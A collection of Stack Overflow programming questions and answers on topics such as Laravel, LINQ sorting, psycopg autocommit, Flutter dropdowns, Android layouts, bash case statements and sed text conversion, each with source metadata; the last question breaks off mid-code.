** As long as your relation is hasOne, you fetched data will be one where user_id = current user. If you are planning to have one phone number for each user throughout the project then might I suggest to simply add the phone number column to the users table.
3) Should I add a unique constraint to the user_id column in the phones migration?
** Yes, you can. However, as I suggested in the second point, just have a phone column in the users table (if you want to, otherwise this will work too)
A: Schema::create('phones', function (Blueprint $table) {
$table->increments('id');
$table->unsignedInteger('user_id')->unique();
$table->string('phone');
$table->timestamps();
$table->foreign('user_id')->references('id')->on('users')->onDelete('cascade');
});
A: You can try this ....
In the User model, define the One-to-One relationship with the Phone model:
User Model
class User extends Model
{
public function phone()
{
return $this->hasOne(Phone::class);
}
}
In the Phone model, define the reverse relationship:
Phone Model
class Phone extends Model
{
public function user()
{
return $this->belongsTo(User::class);
}
}
| {
"language": "en",
"url": "https://stackoverflow.com/questions/62124036",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: string sorting in LINQ I have below data in database.
01-001-A-02
01-001-A-01
01-001-B-01
01-002-A-01
01-003-A-01
From above, I want sorted data as below:
01-001-A-01
01-001-A-02
01-001-B-01
...
My query as below
var l = _context.Locs.OrderBy(o => o.loc).Take(3);
//result of the Query
01-001-A-01
01-002-A-01
01-003-A-01
Here is my table structure
public class Location
{
[Key]
public int id { get; set; }
public string loc { get; set; }
public bool isEmpty { get; set; }
}
I am using Asp.Net Core 2.2, Code-First approach. This is not a computed coloumn.
Sorting is required from right part to left after split by '-'
What am I missing in my LINQ query?
A: It's unclear what exactly the sorting should be, but you should be aware of several layers of ordering that you can implement with ThenBy, as such:
string[] data = new string[] {"01-001-A-02", "01-001-A-01", "01-001-B-01", "01-002-A-01", "01-003-A-01"};
var sorted = data.OrderBy(x => x).ThenBy(x=> x.Split('-')[3]);
A: You can order by each part of string separately (splitted by -) using string.Split method:
string[] strArr = { "01-001-A-02", "01-001-A-01", "01-001-B-01", "01-002-A-01", "01-003-A-01", };
strArr = strArr
.Select(s => new { Str = s, Splitted = s.Split('-') })
.OrderBy(i => i.Splitted[0])
.ThenBy(i => i.Splitted[1])
.ThenBy(i => i.Splitted[2])
.ThenBy(i => i.Splitted[3])
.Select(i => i.Str).ToArray();
Note that this requires each element to have four parts (separated by -). Otherwise, it will throw t.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/58161699",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "-1"
} |
Q: What does Postgres do when BEGIN is run on a connection in autocommit mode? I'm trying to better understand the concept of 'autocommit' when working with a Postgres (psycopg) connection. Let's say I have a fresh connection, set its isolation level to ISOLATION_LEVEL_AUTOCOMMIT, then run this SQL directly, without using the cursor begin/rollback methods (as an exercise; not saying I actually want to do this):
INSERT A
INSERT B
BEGIN
INSERT C
INSERT D
ROLLBACK
What happens to INSERTs C & D?
Is autocommit is purely an internal setting in psycopg that affects how it issues BEGINs? In that case, the above SQL is unafected; INSERTs A & B are committed as soon as they're done, while C & D are run in a transaction and rolled back. What isolation level is that transaction run under?
Or is autocommit a real setting on the connection itself? In that case, how does it affect the handling of BEGIN? Is it ignored, or does it override the autocommit setting to actually start a transaction? What isolation level is that transaction run under?
Or am I completely off-target?
A: Autocommit mode means that each statement implicitly begins and ends the transaction.
In your case, if autocommit is off:
*
*The client will implicitly start the transaction for the first statement
*The BEGIN will issue a warning saying that the transaction is already started
*The ROLLBACK will roll back all four statements
When autocommit is on, only the c and d are rolled back.
Note that PostgreSQL has no internal AUTOCOMMIT behavior since 8.0: all autocommit features are relied upon the clients.
A: By default, PostgreSQL has autocommit on, meaning that each statement is handled as a transaction. If you explicitly tell it to start a transaction, as in your example, those items are in a new transaction.
In your example, A and B would be committed, C and D would be rolled back.
A: When autocommit is on psycopg just sends everything to the PostgreSQL backend without trying to manage the transaction for you. If you don't use BEGIN/COMMIT/ROLLBACK then every .execute() call is immediately executed and committed. You can do your own transaction management by issuing BEGIN/COMMIT/ROLLBACK commands. Obviously in autocommit mode you can't call conn.commit() or conn.rollback() because psycopg is not keeping track of the transactions but just sending anything you .execute() straight to the backend.
In your example A and B would be committed, C and D would be rolled back.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/2478518",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Flutter Multiple Select dropdown list i try to crate flutter multiple select dropdown list,
i try flutter plugin multiselect, but my design not similar,how to solve this problem, i shared my code, how to get same design with multiple select drop down list.
i used (flutter_custom_selector) plugin, but i need without using any plugin how to create multiple select dropdown list in flutter, my code is :
import 'package:google_fonts/google_fonts.dart';
import 'package:flutter/material.dart';
class DropDown extends StatefulWidget {
const DropDown({Key? key}) : super(key: key);
@override
State<DropDown> createState() => _DropDownState();
}
class _DropDownState extends State<DropDown> {
List<String> dataString = [
"Pakistan",
"Saudi Arabia",
"UAE",
"USA",
"Turkey",
"Brazil",
"Tunisia",
'Canada'
];
String? selectedString;
List<String>? selectedDataString;
@override
Widget build(BuildContext context) {
double width = MediaQuery.of(context).size.width;
double height = MediaQuery.of(context).size.height;
return Container(
height: 120,
width: width * 1,
child: Padding(
padding: const EdgeInsets.only(left: 70.0, right: 30.0, top: 10.0),
child: Column(
crossAxisAlignment: CrossAxisAlignment.start,
mainAxisAlignment: MainAxisAlignment.center,
children: [
Text(
"Location",
style: GoogleFonts.poppins(
fontSize: 16,
color: Colors.black,
fontWeight: FontWeight.w500,
decoration: TextDecoration.none,
),
),
const SizedBox(
height: 10.0,
),
Material(
child: CustomMultiSelectField<String>(
title: "Location",
items: dataString,
enableAllOptionSelect: true,
onSelectionDone: _onCountriesSelectionComplete,
itemAsString: (item) => item.toString(),
),
),
],
),
),
);
}
void _onCountriesSelectionComplete(value) {
selectedDataString?.addAll(value);
setState(() {});
}
}
and my design is Click to view Design image
| {
"language": "en",
"url": "https://stackoverflow.com/questions/73303064",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Java-MP3File showing initialistaion error I am using java Library (jid3lib-0.5.4.jar)from http://javamusictag.sourceforge.net/ to get lyrics of a mp3 file something like this :-
File f= new File(Fragmentactivity.songpaths.get(3)); //file path is correct
Toast.makeText(getContext(), ""+dstg.getName(), Toast.LENGTH_LONG).show() ;
try {
MP3File d=null;
if(f.isFile()==true&&f.exists()==true&&f.canWrite()==true)
d=new MP3File(dstg.getAbsoluteFile(),false);//here error coming string out of bound exception
Lyrics3v2 tag = new Lyrics3v2(d.getLyrics3Tag());
Toast.makeText(getContext(), ""+tag.getSongLyric(), Toast.LENGTH_LONG).show() ;
} catch (IOException e1) {
Toast.makeText(getContext(), "tag prob upper", Toast.LENGTH_LONG).show() ;
}
catch (TagException e1) {
Toast.makeText(getContext(), "tag prob", Toast.LENGTH_LONG).show() ;
}
but it is showing initalisation error .
Can anyone tell me why so ?.
Thanks in advance :).
A: As far as I know if you are running your application on Micromax device with version 4.2.1, you can face this java.lang.StringIndexOutOfBoundsException as it seems to be a manufacturer bug in that specific version for Micromax device. The same problem happened to me once when I had to play a video in splash screen and got the same error in that particular version of Micromax device. Below are the links for the same issue.
java.lang.StringIndexOutOfBoundsException while playing video in videoView : Android v 4.2.1
https://groups.google.com/forum/#!topic/android-developers/-WP6uxDebm8
So try debugging your app other that Micromax version 4.2.1, hope that will work.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/34980408",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Android: adding ad at bottom and shrinking the other view I'm pretty new to Android layouts, and i'm trying to add an AdView at the bottom of my main view, and move the main view up, shrinking its height. I took a code somewhere that makes the ad appear at bottom, however the application's height does not shrink: the Ad takes the bottom of the application. I must make it programatically, with no xmls.
This is the code i have:
View mainView; // of type SurfaceView
adView = new AdView(this);
adView.setAdUnitId("ca-app-pub-3940256099942544/6300978111");
adView.setAdSize(AdSize.SMART_BANNER);
mainLayout = new RelativeLayout(this);
mainLayout.addView(mainView);
RelativeLayout.LayoutParams adParams = new RelativeLayout.LayoutParams(LayoutParams.MATCH_PARENT, LayoutParams.WRAP_CONTENT);
adParams.addRule(RelativeLayout.ALIGN_PARENT_BOTTOM);
mainLayout.addView(adView, adParams);
setContentView(mainLayout);
Sometime later i show the adView:
adView.setVisibility(View.VISIBLE);
adView.loadAd(new AdRequest.Builder().addTestDevice(AdRequest.DEVICE_ID_EMULATOR).build());
Thanks in advance.
A: I am fairly new to android as well, but it sounds like you need to add a layout align tag to the adView. That ought to push the application up and put the add at the bottom. I hope this helps a little bit!
A: its a simple one:
<LinearLayout
xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
android:orientation="vertical">
<LinearLayout
android:layout_height="match_parent"
android:layout_width="match_parent"
android:orientation="vertical"
android:layout_weight="1.0"/>
<LinearLayout
android:layout_height="60dp"
android:layout_width="match_parent"
android:orientation="vertical">
<TextView
android:layout_height="wrap_content"
android:text="add your ad here"
android:layout_width="wrap_content"/>
</LinearLayout>
| {
"language": "en",
"url": "https://stackoverflow.com/questions/40794085",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Retrieve data from database using key in the view file I am trying to retrieve data from my database and show it in my view but there I get an error.
Here is my controller
public function index()
{
$Page=Superior::all();
return view('Myview.Firstpage')->with('Task',$Page);
}
And this is where I assign in the view
<body>
<p>this is our first page </p>
{{ $Task }}
</body>
</html>
but this task is creating error and it says that the Task is an undefined variable my whole page looks like this
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>This is our first page </title>
</head>
<body>
<p>this is our first page </p>
{{ $Task }}
</body>
</html>
Superior is the name of my model from which I want to retrieve my data.
My routes files in web.php is
<?php
Route::get('First',function(){
return view('Myview.Firstpage');
});
i am learning laravel
A: In the index method of your controller
public function index()
{
return view('Myview.Firstpage')->with('tasks',Superior::all());
}
Keep in mind that the all() method returns a collection which you want to loop through in your view.
In your view, you should have:
@foreach($tasks as $task)
{{ $task->title }}
@endforeach
You need to also update your route to make use of the controller:
Route::get('/', 'TaskController@index');
You could visit https://laravel.com/docs/5.8/collections#method-all to learn more about collections.
A: Hi please try to pass you variable to view like this:
$Tasks = Superior::all();
return view('Myview.Firstpage', compact('Tasks'));
And then use a loop in your view like suggested in above comments.
@foreach($Tasks as $task)
{{ $task->title }}
@endforeach
| {
"language": "en",
"url": "https://stackoverflow.com/questions/59077407",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Can't create ObjectInputStream Why can't I create an ObjectInputStream object? Every time I try to create one I get EOFException and I can't figure why. Can someone help me?
Below is the code with which I have the problem and the stack trace obtained from the execution. The file is empty.
public void loadFromFileStudent() throws IOException, ClassNotFoundException {
try{
InputStream inputStream = new FileInputStream("student.txt");
System.out.println(inputStream.toString());
ObjectInputStream objectInputStream;
objectInputStream = new ObjectInputStream(inputStream);
System.out.println(objectInputStream.toString());
this.repo=(Dictionary<Integer, Student>) objectInputStream.readObject();
objectInputStream.close();
inputStream.close();
}catch (EOFException e){
e.printStackTrace();;
//System.out.println(e.getMessage());
}
}
.
java.io.FileInputStream@65ddcac5
java.io.EOFException
at java.io.ObjectInputStream$PeekInputStream.readFully(ObjectInputStream.java:2324)
at java.io.ObjectInputStream$BlockDataInputStream.readShort(ObjectInputStream.java:2793)
at java.io.ObjectInputStream.readStreamHeader(ObjectInputStream.java:799)
at java.io.ObjectInputStream.<init>(ObjectInputStream.java:299)
at repository.Repository.loadFromFileStudent(Repository.java:94)
at repository.Repository.<init>(Repository.java:112)
at utils.DataStructure.createRepository(DataStructure.java:16)
at controller.Controller.<init>(Controller.java:9)
at utils.DataStructure.createController(DataStructure.java:20)
at application.RunMenu.<init>(RunMenu.java:15)
at application.App.main(App.java:5)
A: EOFException is thrown when end-of-file is reached. That is, you have read the whole file. Therefore you should not close your streams within the try statement, but use try-with-resources to automatically close them.
Try something simple like this:
public void loadFromFileStudent() throws IOException, ClassNotFoundException {
try (InputStream inputStream = new FileInputStream("student.txt");
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream)) {
this.repo = (Dictionary<Integer, Student>) objectInputStream.readObject();
} catch (FileNotFoundException e) {
System.out.println ("File not found");
} catch (IOException e) {
System.out.println ("Error while reading");
} catch (ClassNotFoundException e) {
System.out.println ("No class");
} catch (ClassCastException e) {
System.out.println ("Could not cast to class");
}
}
Writing is equally simple:
public void writeObject ( Object o ) {
try (FileOutputStream fos = new FileOutputStream ( this.filename );
ObjectOutputStream oos = new ObjectOutputStream(fos)) {
oos.writeObject(o);
oos.flush();
} catch (NotSerializableException e) {
System.out.println ("Object wont be serialized");
e.printStackTrace();
} catch (IOException e) {
System.out.println ("Error while writing to file");
e.printStackTrace();
}
}
A: From my understanding of the question I assume OP is doing some thing like below, and which should works. May be OP would have missed something during writing/reading. Hope this helps to figure out.
public class Test2 {
public static void main(String[] args) {
Test2 t = new Test2();
t.create();
t.read();
}
public void create(){
try{
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("D:\\test\\ab.txt"));
Student st = new Student("chevs");
Dictionary<Integer, Student> dict = new Hashtable<Integer, Student>();
dict.put(1, st);
os.writeObject(dict);
}catch(Exception e){
e.printStackTrace();
}
}
public void read()
{
try{
InputStream inputStream = new FileInputStream("D:\\test\\a.txt");
System.out.println(inputStream.toString());
ObjectInputStream objectInputStream;
objectInputStream = new ObjectInputStream(inputStream);
System.out.println(objectInputStream.toString());
private Dictionary<Integer, Student> repo=(Dictionary<Integer, Student>) objectInputStream.readObject();
System.out.println(repo.get(1));
objectInputStream.close();
inputStream.close();
}catch (Exception e){
e.printStackTrace();;
}
}
public class Student implements Serializable{
public String name=null;
public Student(String name){
this.name=name;
}
public String toString() {
return name.toString();
}
}
}
| {
"language": "en",
"url": "https://stackoverflow.com/questions/20477440",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: I installed multiple libraries the same way and React is registering all but one of them. Why can't it find this particular module? I did "npm install --save -g pondjs" but when I ran my code, I got this error message:
./src/Components/Tseries.js
Module not found: Can't resolve 'pondjs' in '/Users/<ME>/Google Drive/code/React/projectmanager/src/Components'
Here is the header in my js file:
import React, { Component } from 'react';
import { TimeSeries, TimeRange, TimeRangeEvent } from 'pondjs';
import { Charts, ChartContainer, ChartRow, YAxis, LineChart, Resizable, EventChart } from 'react-timeseries-charts';
import myJson from '../data/info.json';
The SO questions on this topic related to user-created components, not files installed via "npm install". I'm not sure if I installed it in the wrong place, or if React is looking in the wrong place. But pondjs should be available to React. The other libraries I've downloaded are. Why is this library different?
A: Don't use the -g flag when installing. The -g flag allows you to access the installed npm package via command line, but is not a part of your local project files.
If you need it both locally and globally, npm install it twice (once with the -g flag and once without).
A: If you are using Typescript, I don't think there's a type file for that package, so the compiler may give a warning even if the package is available.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/51217279",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Error with JSX in my React Library when Switching to Preact I have a really simple React library that I use with my own state management. It's just a Higher Order Component:
import React from 'react';
/**
*
* @param {Object} state - Reference to SubState instance
* @param {Object} chunk - object of props you want maps to from state to props
*/
const connect = (state, chunk)=> Comp => props =>{
const newProps = {};
for (let key in chunk){
newProps[key] = state.getProp(chunk[key]);
}
return (<Comp {...newProps} {...props} />)
};
export {
connect
}
I can publish the library this way and I will get a syntax error about being unable to parse < in the JSX.
So I run the code through babel
//.babelrc
{
"presets": ["@babel/preset-env","@babel/preset-react"]
}
using this webpack config
const path = require('path');
module.exports = {
entry: './src/index.js',
output: {
path: path.resolve(__dirname),
filename: 'index.js',
library: 'substateConnect',
libraryTarget: 'umd'
},
module: {
rules: [
{
test: /\.js$/,
exclude: /node_modules/,
use: ["babel-loader"]
}
]
},
}
this is the dependency and publish section of my package.json
"devDependencies": {
"@babel/core": "^7.0.0",
"@babel/preset-env": "^7.0.0",
"babel-core": "^6.26.3",
"babel-loader": "^8.0.2",
"babel-preset-env": "^1.7.0",
"babel-preset-react": "^6.24.1",
"react": "^16.5.0",
"react-dom": "^16.5.0"
},
"files": [
"index.js",
"index.map",
"src/index.js"
],
"dependencies": {
"@babel/preset-react": "^7.0.0",
"substate": "^4.0.0",
"webpack": "^4.17.2",
"webpack-cli": "^3.1.0"
}
I'm using preact-compat per the website and still getting <undefined></undefined>
https://github.com/developit/preact-compat#usage-with-webpack
Currently, running this through babel outputs react in the library and my library and Preact labels any HOC that use this library as <undefined></undefined>
IF I publish the un-babel'd code and it is simply the source cope at the top written in new ECMAScript, I get an unable to parse error on the < in the JSX.
However, if I were to reference the library NOT through node_modules but in a developer made files like myLibrary.js and use the un-babel'd code, it works.
How do I manage my dependencies correctly? Should React be a peerDependecy?
Furthermore, how to get this library to work from the node_modules directory for BOTH React AND Preact?
A: I think you don't have resolve in your webpack file.
Could you please try with the resolve config.
{
// ...
resolve: {
alias: {
'react': 'preact-compat',
'react-dom': 'preact-compat',
// Not necessary unless you consume a module using `createClass`
'create-react-class': 'preact-compat/lib/create-react-class',
// Not necessary unless you consume a module requiring `react-dom-factories`
'react-dom-factories': 'preact-compat/lib/react-dom-factories'
}
}
// ...
}
A: Thanks to @Dominic for helping me clean up my dependencies.
So basically the new dependencies look like this:
"devDependencies": {
"@babel/core": "^7.0.0",
"@babel/preset-env": "^7.0.0",
"@babel/preset-react": "^7.0.0",
"babel-loader": "^8.0.2",
"react": "^16.5.0",
"react-dom": "^16.5.0",
"webpack": "^4.17.2",
"webpack-cli": "^3.1.0"
},
"dependencies": {
"substate": "^4.0.0",
}
Important to note: I didn't need React as a dependency. Any use of webpack and babel are strictly for dev purposes and testing.
The actual final product switched from being a compiled index.js file to simply this:
import React from 'react';
/**
*
* @param {Object} state - Reference to SubState instance
* @param {Object} chunk - object of props you want maps to from state to props
*/
const connect = (state, chunk)=> Comp => props =>{
const newProps = {};
for (let key in chunk){
newProps[key] = state.getProp(chunk[key]);
}
return (<Comp {...newProps} {...props} />)
};
export {
connect
}
The assumption (and I think a safe and fair one) is that anyone using this will compile as needed and alias preact into their existing react project.
This assumption allowed me to remove any minification, webpack, or any real compilation from the actual library. In essence, just use this file as a normal Higher Order Component, React will do the rest with a bundler and swapping React for Preact according to the docs will work as needed.
Thanks all.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/54580228",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "7"
} |
Q: Invoke Function through Case statements Will the below statements work? I am trying to invoke function through Case Statements.
#!/bin/bash
function exit
{
`...`
`...`
`...`}
function start
{
`...`
`...`
}
`Case $input in`
`-book) $(exit) ;;`
`-goal) $(start) ;;`
`*) break ;;`
`esac`
Is the syntax correct?
A: If you have defined a function:
myfunc() {
echo 'hi'
}
then you can invoke that function in a case statement without a capturing expression. You do it just like any other command:
case "$param" in
expr) myfunc;;
*) echo 'nope';;
esac
You need not use a capturing expression unless you mean it. In your case, what you have would attempt to execute the output of the function as a command itself:
$ double_down() {
> echo 'ping google.com'
> }
$ $(double_down)
PING google.com (74.125.226.169): 56 data bytes
it's possible, but seems unlikely, that you really want this.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/24599446",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: concatenate databound checkbox value with user input text to string with barcode generator I'm trying to generate a barcode with user text as well as a value selected from a databound checkbox. My code compiles fine, but when I generate the barcode, it is not reading the selected value from the checkbox and instead prints with the barcode:
SYSTEM.WEB.UI.WEBCONTROLS.CHECKBOXLIST'USER INPUT'
Here is the code to bind the data from the database.
protected void Page_Load(object sender, EventArgs e)
{
if (!IsPostBack)
{
this.BarcodeBind();
}
}
public void BarcodeBind()
{
SqlConnection conn = new SqlConnection(GetConnectionString());
using (SqlCommand cmd = new SqlCommand())
{
cmd.CommandText = "SELECT Statement"
cmd.Connection = conn;
conn.Open();
using (SqlDataReader sdr = cmd.ExecuteReader())
{
while (sdr.Read())
{
ListItem item = new ListItem();
item.Text = sdr["BarcodeNum"].ToString();
cmd.Parameters.AddWithValue("@BarcodeNum", BarcodeNum);
BarcodeNum.Items.Add(item);
}
}
conn.Close();
}
}
Here is the code to generate the barcode:
protected void btnGenerate_Click(object sender, EventArgs e)
{
string barCode = Barcode + txtCode.Text;
System.Web.UI.WebControls.Image imgBarCode = new System.Web.UI.WebControls.Image();
using (Bitmap bitMap = new Bitmap(barCode.Length * 50, 90))
{
using (Graphics graphics = Graphics.FromImage(bitMap))
{
Font oFont = new Font("IDAutomationHC39M", 18);
PointF point = new PointF(3f, 3f);
SolidBrush blackBrush = new SolidBrush(Color.Black);
SolidBrush whiteBrush = new SolidBrush(Color.White);
graphics.FillRectangle(whiteBrush, 0, 0, bitMap.Width, bitMap.Height);
graphics.DrawString(barCode, oFont, blackBrush, point);
}
using (MemoryStream ms = new MemoryStream())
{
bitMap.Save(ms, System.Drawing.Imaging.ImageFormat.Png);
byte[] byteImage = ms.ToArray();
Convert.ToBase64String(byteImage);
imgBarCode.ImageUrl = "data:image/png;base64," + Convert.ToBase64String(byteImage);
}
plBarCode.Controls.Add(imgBarCode);
}
And here is my html code:
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title></title>
</head>
<body>
<form id="form1" runat="server">
<div>
<asp:CheckBoxList ID="BarCodeBind" runat="server"
</asp:CheckBoxList>
<hr />
<asp:TextBox ID="txtCode" runat="server"></asp:TextBox>
<asp:Button ID="btnGenerate" runat="server" Text="Generate" OnClick="btnGenerate_Click" />
<hr />
<asp:PlaceHolder ID="plBarCode" runat="server" />
</div>
</form>
</body>
I believe it has something to do with stating that one of the values is selected. But I'm not sure how to do it with something databound. Or if the databound item in question should be controlled by a boolean value in the database itself?
| {
"language": "en",
"url": "https://stackoverflow.com/questions/36189009",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: How to programmatically access file resource forks on Snow Leopard? I was recently wondering how Mac OS X stores thumbnails of files. After some Googling, I found out that about "resource forks", a feature apparently unique to Apple's HFS file systems.
I don't really like the idea of having resource forks around, and I would like to be able to delete them. Is there any way to access the resource forks programmatically? Various forum posts said that to see the resource fork of a file like presentation.pdf I should ls presentation.pdf/rsrc, but I haven't been able to find a file like that on my system. Is this still how it works in Snow Leopard?
I am not interested in downloading or buying some tool that does this for me. I'm comfortable with the command line, and ideally I would like a command line solution, so that I can script this.
And before I actually go through with this, I guess I should ask: is there any harm in deleting the resource forks?
A: It depends on what is in the resource fork. The use of resource forks has been discouraged, but there are few holdouts including alias files, custom icons (on files) and some legacy font files. You can verify if a file has a resource fork in the Terminal using "ls -l@". The resource forks are also exposed in the extended attribute APIs through the "com.apple.ResourceFork" attribute.
If you want to just remove thumbnails, you could do that from the Finder's GetInfo panel. The extended attribute APIs, like removexattr(2), will let you programmatically remove the Resource Fork.
If you're curious what's inside a resource fork you can use: "hexdump -C myfile/..namedfork/rsrc"
Hope this helps
-Don
A: You ask - "is there any harm in deleting the resource forks?"
Of course there is. Those are files that someone has constructed to be a certain way, and if you delete chunks from them, whatever program is using them is not going to be happy. You should only do so in certain situations where you know what you're getting into.
For example, Text Clippings (what you get when you drag a chunk of selected text to the desktop) are stored entirely in the resource fork. The data fork is empty. This is annoying, but it's the way it is. If you delete the resource fork, there goes all your text.
A better approach might be to contact the author of whatever software is still creating resource forks and try to convince them to abandon that practice, because you like having everything in data forks.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/4893794",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
} |
Q: how detect CTRL+q in javascript How detect ctrl+q with javascript, this is my code
<body>
<p id="x"></p>
<script>
window.onkeydown = function() {detect(event);}
window.onkeypress = function() {res(event);}
var act = false;
function detect(event) {
if(event.ctrlKey) {
act = true;
}
else
act = false;
}
function res(event) {
if(act) {
document.getElementById("x").innerHTML = "ctrl " + String.fromCharCode(event.which);
}
else
document.getElementById("x").innerHTML = String.fromCharCode(event.which);
}
</script>
</body>
I want do it with javascript only.
A: You can detect it using the following function:
document.addEventListener("keydown", function (event) {
event.stopPropagation();
event.preventDefault();
if(event.ctrlKey && event.keyCode == 81)
{
console.log("CTRL + Q was pressed!");
}
else
{
console.log("Something else was pressed.");
}
});
The stopPropagation() and preventDefault() calls prevent the browser's default behaviour from occurring.
If you want to detect other keys, this page is rather useful: http://asquare.net/javascript/tests/KeyCode.html
| {
"language": "en",
"url": "https://stackoverflow.com/questions/37510126",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
} |
Q: Windows Task Scheduler Program Ends Immediately I have a Java executable (.exe) with a given JRE build in the same folder, which it uses to actually run.
I want to put this executable on Windows Task Scheduler.
I did some tests with some C++ hello world programs, and all went fine. This Java program, running directly (by two clicks or whatever) works all fine too (it is supposed to write to a file and end).
However, when I put the Java program in the Task Scheduler, it exits immediately, with status code 0x0 (success) and nothing is actually performed.
At Windows Task Manager, I see that javaw.exe starts and exits in a glimpse.
What could it be? Something related to Java? Something due to a specific task scheduler flag?
Aditional:
*
*Java executable built with launch4j.
*Scheduler set with schtasks /create /tn MyETL /sc hourly /mo 3 /tr C:\ETL\etl.exe
A: When you run an application with Windows Scheduler, if that application has dependencies to other files via relative path, then you need to set the start in setting for the task. This sets the path from where execution will begin.
Alternatively you can use a command file and have it navigate to the correct directory first.
A: Just figured out that the problem was that the program was actually being executed in the wrong folder, in order that the output file wasn't where I thought it would.
The output file was being write in the starting folder, not the program's folder.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/45766890",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: convert (sed or awk, or anything) file containing the following: I am looking for a way to convert with a one line linux command (sed or awk, or anything) the following file (example1.txt);
1.2.3.4:21
172.16.1.2:80
192.168.5.4:443
192.168.10.1:7007
into a format like this:
"1.2.3.4" "21"
"172.16.1.2" "80"
"192.168.5.4" "443"
"192.168.10.1" "7007"
Any help would be very appreciated, thanks.
A: Here's one way:
$ sed 's/:/" "/g; s/.*/"&"/' example1.txt
"1.2.3.4" "21"
"172.16.1.2" "80"
"192.168.5.4" "443"
"192.168.10.1" "7007"
The first s command replaces every colon with " " and the second just adds the leading and trailing double-quotes. Use the i flag if you need to save the changes to the original file.
A: sed with a single s//:
$ sed 's/\([^:]*\):\(.*\)/"\1" "\2"/' input.txt
"1.2.3.4" "21"
"172.16.1.2" "80"
"192.168.5.4" "443"
"192.168.10.1" "7007"
A: This might work for you (GNU sed):
sed 's/[^:]*/"&"/g;y/:/ /' file
Surround fields delimited by :s by double quotes and replace :'s by spaces.
A: Since there isn't an awk solution posted yet:
$ awk -F':' -v OFS='" "' '{$1=$1; print "\"" $0 "\""}' file
"1.2.3.4" "21"
"172.16.1.2" "80"
"192.168.5.4" "443"
"192.168.10.1" "7007"
| {
"language": "en",
"url": "https://stackoverflow.com/questions/61336827",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "-2"
} |
Q: UICollectionViewDataSource cellForItemAt don't run at iOS 14 The cellForItemAt dont't get called after I updated the build target to iOS 14 in Xcode. However, numberOfItemsInSection is getting called but cellForItemAt don't which makes it weird. I have never seen this before.
Any idea of what it could be?
extension LoginTableCell: UICollectionViewDelegate, UICollectionViewDataSource {
func collectionView(_ collectionView: UICollectionView, numberOfItemsInSection section: Int) -> Int {
return self.cells.count
}
func collectionView(_ collectionView: UICollectionView, cellForItemAt indexPath: IndexPath) -> UICollectionViewCell {
let cell = collectionView.dequeueReusableCell(withReuseIdentifier: "LoginCollectionCell",
return cell
}
A: I can't see anywhere where you set the cell sizes so be sure your cells content sizes are being setup correctly. If you're using a flow layout you can set the size like this:
let layout = UICollectionViewFlowLayout()
layout.scrollDirection = .vertical
layout.itemSize = CGSize(width: 50, height: 50)
collectionView.collectionViewLayout = layout
Alternatively you can use the UICollectionViewDelegateFlowLayout protocol to return a size for the cell:
extension LoginTableCell: UICollectionViewDelegate, UICollectionViewDataSource, UICollectionViewDelegateFlowLayout {
func collectionView(_ collectionView: UICollectionView, numberOfItemsInSection section: Int) -> Int {
return self.cells.count
}
func collectionView(_ collectionView: UICollectionView, cellForItemAt indexPath: IndexPath) -> UICollectionViewCell {
let cell = collectionView.dequeueReusableCell(withReuseIdentifier: "LoginCollectionCell",
return cell
}
func collectionView(_ collectionView: UICollectionView, layout collectionViewLayout: UICollectionViewLayout, sizeForItemAt indexPath: IndexPath) -> CGSize {
return CGSize(width: 100, height: 100)
}
| {
"language": "en",
"url": "https://stackoverflow.com/questions/67080476",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: How to plot particle trajectory in paraview I have Lagrangian data (particle id, diameter, and velocity) came from particulate flow simulation with OpenFOAM and I wanted to plot the particle trajectories inside the paraview. I have created the VTK files through the time.
A: I use the following method:
crate VTK of lagrangian data
Load data in ParaView
Use the "temporalPaticlesToPathlines" filter
make sure to have a unique identifier for the particles. I used origId and it is not always unique if you have breakup of particles.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/39562789",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Function is not right called in Javascript Rock, Paper Sciccors game inserted alert not showing In the console is see that PlayerOneInput and PlayerTwoInput are correct so PlayerOneInput = this.textContent is working,
The function is called, because "Its a Tie!" is working.After that is stops my test alert alert('Hello! I am an alert box!!') is not called.
Please help me. I checked everything.
const options = document.querySelectorAll('.options')
var timesClicked = 0
//console.log(options)
let playerOneInput = ''
let playerTwoInput = ''
options.forEach((option) => {
